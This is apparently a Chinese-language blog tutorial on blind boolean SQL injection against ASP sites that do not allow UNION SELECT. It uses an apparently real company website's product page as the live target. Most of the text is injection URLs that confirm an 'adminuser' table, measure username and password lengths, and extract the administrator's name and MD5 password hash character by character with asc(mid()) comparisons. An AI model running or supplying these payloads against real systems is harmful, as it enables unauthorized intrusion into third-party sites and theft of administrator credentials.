天天看點

不支援union select 時的asp手工注入方法

首先看一個簡單的站點

不支援union select 時的asp手工注入方法

這種站點, 一眼看了, 都是有漏洞的多。

上面的站, 是支援union select 注入的。

但這裡說的是不支援union select 注入的情況,

是以, 我們這裡不利用union select 來注入。(假設不支援)

進入産品展示裡面, 随便點一個産品, 都有注入, 我們拿這個來做例子。

http://www.joesd.com/Jody/product_show.asp?action=common&ID=47

和我上一篇文章所說, 一開如時, 我們是猜表, 用and exists(select * from 表名)

之後猜字段, 用order by

最後用union select 1, 2, ,,,,,,from 表名, 再把相應位數變換成對應字段即可得到密碼。

比如, 現在你不能用union select 的話, 要怎麼拿到帳号密碼呢?因為有時, 有些網站就是不支援的。

上面網頁, 我猜到表名是adminuser:

http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and exists(select * from adminuser)

不支援union select 時的asp手工注入方法

表段也猜好了, 密碼字段為:adminpwd, 帳号字段為:adminuser。

如果不支援union select 的話, 我們可以這樣:

先測一下帳号長度:

and (select top 1 len(adminuser) from adminuser)>4

不支援union select 時的asp手工注入方法

and (select top 1 len(adminuser) from adminuser)>5

不支援union select 時的asp手工注入方法

這時, 看到>4時正常, >5是頁面傳回錯誤, 可以确定帳号長度為5個字元了。

然後, 再用下面的方法, 一個一個地讀出帳号的ascii碼。

http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 asc(mid(adminuser,1,1)) from adminuser)>96

這裡的mid(表段, 1,1)代表從表段裡截取第一個字元, 外層的asc是把mid截取的字元轉成ascii碼, top 1是表示傳回傳回字段中的第一條紀錄,

而> 96是ascii比較了。 一般情況下select top 1 asc(mid())都是固定的, 記住用法就行, 裡面的表段名變化的,這裡adminuser,1,1是截取第

一個字元, 相應的, 截取第二個, 用法是asc(mid(adminuser,2,1))。 這裡長度是5, 是以, 一個一個測試, 一直測到asc(mid(adminuser, 5,1))。

比如上面的:http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 asc(mid(adminuser,1,1)) from adminuser)>96

運作時如下圖:

不支援union select 時的asp手工注入方法

當> 96時正常, 當我>97時, 頁面傳回如下:

不支援union select 時的asp手工注入方法

出錯了, 說明帳号5位裡面, 第一位的ascii碼為97, 對應的字母為: a

我們用這種方法可以一直猜完5位, 就能得到帳号了。

對于密碼, 也用同樣的方法去猜, 先猜長度, 如下:

http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 len(adminpwd) from adminuser)>31

不支援union select 時的asp手工注入方法

http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 len(adminpwd) from adminuser)>32

不支援union select 時的asp手工注入方法

當31時正常, 32時不正常, 說明密碼長度32個字元。 (MD5)

再用同樣的方法, 一個一個去猜字元:

http://www.joesd.com/Jody/product_show.asp?action=common&ID=47 and (select top 1 asc(mid(adminpwd,1,1)) from adminuser)>49

49正常, 50不正常, 說明第一個字元的ascii碼為50。

繼續閱讀